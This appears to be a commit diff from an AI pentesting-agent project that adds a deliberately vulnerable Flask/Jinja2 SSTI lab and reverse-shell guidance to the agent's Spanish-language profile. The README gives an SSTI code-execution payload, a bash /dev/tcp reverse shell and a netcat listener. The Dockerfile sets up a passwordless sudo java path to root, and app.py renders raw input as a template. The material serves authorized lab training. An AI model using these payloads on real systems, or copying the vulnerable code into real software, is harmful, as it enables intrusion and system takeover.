Skip to content

Autonomous OODA-loop pentesting agent. Hermes brain, Kali + Playwright tools over MCP, ATT&CK as the Orient language.

feat(labs): add pinguinazo-ssti reverse shell lab + SOUL.md reverse shell guidance

irrazc2b087802810
diff --git a/agent-ooda/profile/SOUL.md b/agent-ooda/profile/SOUL.md
index 81ef0c2..46c768f 100644
--- a/agent-ooda/profile/SOUL.md
+++ b/agent-ooda/profile/SOUL.md
@@ -56,7 +56,13 @@ Vias de accion disponibles:
escribe el script DENTRO del propio comando; no busques una tool nueva.
- **`mcp_kali_kali_exec`** — alternativa ASINCRONA para comandos largos: arranca el comando en
segundo plano y devuelve un identificador; luego consultas con `mcp_kali_get_scan_status` y lees
- salida parcial con `mcp_kali_read_tool_logs`.
+ salida parcial con `mcp_kali_read_tool_logs`. **Caso de uso clave: listeners de reverse shell.**
+ Para recibir un reverse shell: (1) `kali_exec` con `nc -nlvp <port>` → obtienes el job_id;
+ (2) inyectas el payload en el target apuntando a la IP de la Kali en la red Docker
+ (obtén la IP con `kali_run hostname -I`); (3) monitorizas con `get_scan_status` +
+ `read_tool_logs` hasta que aparezca la conexión; (4) envías comandos por el shell con
+ `kali_run echo 'CMD' | nc -q1 <kali_ip> <port>` o directamente en el mismo `kali_exec`
+ si el job sigue activo.
- **`mcp_kali_prowler_scan`** / **`mcp_kali_iam_enum`** — recoleccion cloud y enumeracion IAM
read-only (AWS), utiles en Observe.
- **`mcp_kali_iam_simulate`** — simula permisos efectivos de privesc de un principal IAM (AWS,
diff --git a/labs/pinguinazo-ssti/Dockerfile b/labs/pinguinazo-ssti/Dockerfile
new file mode 100644
index 0000000..3a51490
--- /dev/null
+++ b/labs/pinguinazo-ssti/Dockerfile
@@ -0,0 +1,44 @@
+# pinguinazo-ssti — SSTI lab for Vulnerator-AI
+# Inspired by the "Pinguinazo" machine from dockerlabs.es (© El Pingüino de Mario).
+# Reimplemented as a standalone lab integrated into the vulnerator-ai network.
+#
+# Vulnerability: Flask/Jinja2 SSTI via render_template_string() with unsanitised input.
+# Attack path: SSTI → RCE → reverse shell → sudo java → root.
+#
+# USE ONLY against this container in a controlled, authorized environment.
+
+FROM python:3.12-slim
+
+ENV DEBIAN_FRONTEND=noninteractive
+
+# Install Java (for sudo java privilege escalation) + netcat
+RUN apt-get update && apt-get install -y --no-install-recommends \
+ default-jdk-headless \
+ netcat-openbsd \
+ sudo \
+ curl \
+ && rm -rf /var/lib/apt/lists/*
+
+# Create unprivileged user
+RUN useradd --create-home --shell /bin/bash pinguinazo && \
+ echo 'pinguinazo:pinguinazo' | chpasswd
+
+# sudo: pinguinazo can run java as root without password (the privesc vector)
+RUN echo 'pinguinazo ALL=(ALL:ALL) NOPASSWD: /usr/bin/java' >> /etc/sudoers
+
+# Flag
+RUN echo 'CTF{pinguinazo_ssti_rce_sudo_java}' > /root/flag.txt && \
+ chmod 400 /root/flag.txt
+
+# Flask app
+WORKDIR /app
+COPY app/requirements.txt .
+RUN pip install --no-cache-dir -r requirements.txt
+COPY app/app.py .
+
+EXPOSE 5000
+
+# Run as root so the Flask process can be reached for reverse shell escalation
+# (the Flask user is pinguinazo, sudo escalates to root)
+USER pinguinazo
+CMD ["python3", "app.py"]
diff --git a/labs/pinguinazo-ssti/README.md b/labs/pinguinazo-ssti/README.md
new file mode 100644
index 0000000..eb7e191
--- /dev/null
+++ b/labs/pinguinazo-ssti/README.md
@@ -0,0 +1,77 @@
+# Lab — Pinguinazo SSTI (Flask/Jinja2 + Reverse Shell)
+
+Inspired by the [Pinguinazo](https://dockerlabs.es) machine from dockerlabs.es
+(© El Pingüino de Mario). Reimplemented as a self-contained lab integrated
+into the `vulnerator-ai_default` network so the kali container can both
+attack the target and receive the reverse shell.
+
+> Authorized use only. Run exclusively in a controlled local environment.
+
+## Attack path
+
+```
+SSTI (Jinja2) → RCE → reverse shell to kali → sudo java → root → /root/flag.txt
+```
+
+| Phase | Technique | Detail |
+|---|---|---|
+| Recon | nmap | Port 5000/tcp · Werkzeug/Flask |
+| Enumeration | browser / curl | Flask form — input reflected without sanitisation |
+| Exploitation | SSTI Jinja2 | `{{cycler.__init__.__globals__.os.popen('id').read()}}` |
+| Foothold | Reverse shell | SSTI payload → `bash -i >& /dev/tcp/<kali-ip>/4444 0>&1` |
+| PrivEsc | sudo java | `sudo java` + Shell.java compiled on target → root |
+| Flag | cat | `/root/flag.txt` |
+
+## Key detail — reverse shell routing
+
+The target connects back to the **kali container IP** on the
+`vulnerator-ai_default` network (not the host IP). The agent must discover
+kali's IP first:
+
+```bash
+# From inside kali (mcp_kali_kali_run):
+hostname -I
+# Returns something like: 172.21.0.x
+```
+
+Then the reverse shell payload uses that IP:
+```
+bash -c 'bash -i >& /dev/tcp/172.21.0.x/4444 0>&1'
+```
+
+The listener runs via `kali_exec` (background, async):
+```bash
+nc -nlvp 4444
+```
+
+## Build and start
+
+```bash
+# Vulnerator-AI stack must be up first (creates vulnerator-ai_default network)
+cd /path/to/vulnerator-ai && docker compose up -d
+
+# Start the lab
+cd labs/pinguinazo-ssti
+docker compose up -d --build
+```
+
+## Engagement prompt
+
+```
+Inicio engagement autorizado.
+Target: pinguinazo-ssti
+Modo: ctf
+Acceso inicial: ninguno — servicio web en puerto 5000.
+Objetivo: obtener shell como root y leer /root/flag.txt.
+Entorno: laboratorio local aislado, propiedad del operador. Target autorizado.
+El target corre en un contenedor conectado a la misma red que la Kali.
+Para el reverse shell usa la IP de la Kali en la red Docker (hostname -I).
+Comienza el bucle OODA.
+```
+
+## Stop
+
+```bash
+docker compose down
+docker image rm pinguinazo-ssti:lab
+```
diff --git a/labs/pinguinazo-ssti/app/app.py b/labs/pinguinazo-ssti/app/app.py
new file mode 100644
index 0000000..649a601
--- /dev/null
+++ b/labs/pinguinazo-ssti/app/app.py
@@ -0,0 +1,62 @@
+"""
+PinguRegistro — Flask app vulnerable to Server-Side Template Injection (SSTI).
+
+The vulnerability: render_template_string() receives user input directly,
+allowing Jinja2 template expressions to be evaluated server-side.
+
+This is an intentionally vulnerable application for authorized security testing.
+"""
+from flask import Flask, request, render_template_string
+
+app = Flask(__name__)
+
+INDEX = """
+<!DOCTYPE html>
+<html lang="es">
+<head>
+ <meta charset="UTF-8">
+ <title>Pingu Flask Web</title>
+ <style>
+ body { font-family: monospace; background: #0a0a0a; color: #c8e6c9; margin: 0; }
+ .container { max-width: 500px; margin: 80px auto; padding: 2rem;
+ border: 1px solid #2e7d32; border-radius: 6px; }
+ h1 { color: #4caf50; letter-spacing: 0.1em; }
+ input[type=text] { width: 100%%; padding: 0.5rem; background: #111;
+ color: #c8e6c9; border: 1px solid #2e7d32;
+ border-radius: 3px; font-family: monospace; }
+ button { margin-top: 0.75rem; padding: 0.5rem 1.5rem;
+ background: #2e7d32; color: #fff; border: none;
+ border-radius: 3px; cursor: pointer; font-family: monospace; }
+ .result { margin-top: 1.5rem; padding: 1rem;
+ background: #111; border-left: 3px solid #4caf50; }
+ </style>
+</head>
+<body>
+ <div class="container">
+ <h1>🐧 PinguRegistro</h1>
+ <p>Introduce tu nombre para registrarte:</p>
+ <form method="POST">
+ <input type="text" name="name" placeholder="Tu nombre..." autofocus>
+ <button type="submit">Registrar</button>
+ </form>
+ {% if result %}
+ <div class="result">{{ result }}</div>
+ {% endif %}
+ </div>
+</body>
+</html>
+"""
+
[email protected]('/', methods=['GET', 'POST'])
+def index():
+ result = None
+ if request.method == 'POST':
+ name = request.form.get('name', '')
+ # VULNERABLE: user input rendered directly as Jinja2 template
+ rendered = render_template_string(f'Hola, {name}! Bienvenido a PinguRegistro.')
+ result = rendered
+ return render_template_string(INDEX, result=result)
+
+
+if __name__ == '__main__':
+ app.run(host='0.0.0.0', port=5000, debug=False)
diff --git a/labs/pinguinazo-ssti/app/requirements.txt b/labs/pinguinazo-ssti/app/requirements.txt
new file mode 100644
index 0000000..0647450
--- /dev/null
+++ b/labs/pinguinazo-ssti/app/requirements.txt
@@ -0,0 +1 @@
+flask==3.0.3
diff --git a/labs/pinguinazo-ssti/docker-compose.yml b/labs/pinguinazo-ssti/docker-compose.yml
new file mode 100644
index 0000000..6e9f9ee
--- /dev/null
+++ b/labs/pinguinazo-ssti/docker-compose.yml
@@ -0,0 +1,41 @@
+# pinguinazo-ssti — SSTI reverse-shell lab for Vulnerator-AI
+#
+# Connects to vulnerator-ai_default so the kali container can:
+# 1. Reach the Flask app on :5000 (SSTI exploitation)
+# 2. Receive the reverse shell callback from the target
+#
+# Start: docker compose up -d --build
+# Stop: docker compose down
+
+services:
+ pinguinazo:
+ build:
+ context: .
+ dockerfile: Dockerfile
+ image: pinguinazo-ssti:lab
+ container_name: pinguinazo-ssti
+ hostname: pinguinazo-ssti
+
+ networks:
+ - vulnerator-ai
+
+ # No published ports — internal network only.
+ # Kali reaches it as pinguinazo-ssti:5000 via Docker DNS.
+
+ security_opt:
+ - no-new-privileges:false # sudo needs to work
+ cap_drop:
+ - ALL
+ cap_add:
+ - SETUID
+ - SETGID
+ - SYS_CHROOT
+
+ mem_limit: 512m
+ pids_limit: 256
+ restart: "no"
+
+networks:
+ vulnerator-ai:
+ external: true
+ name: vulnerator-ai_default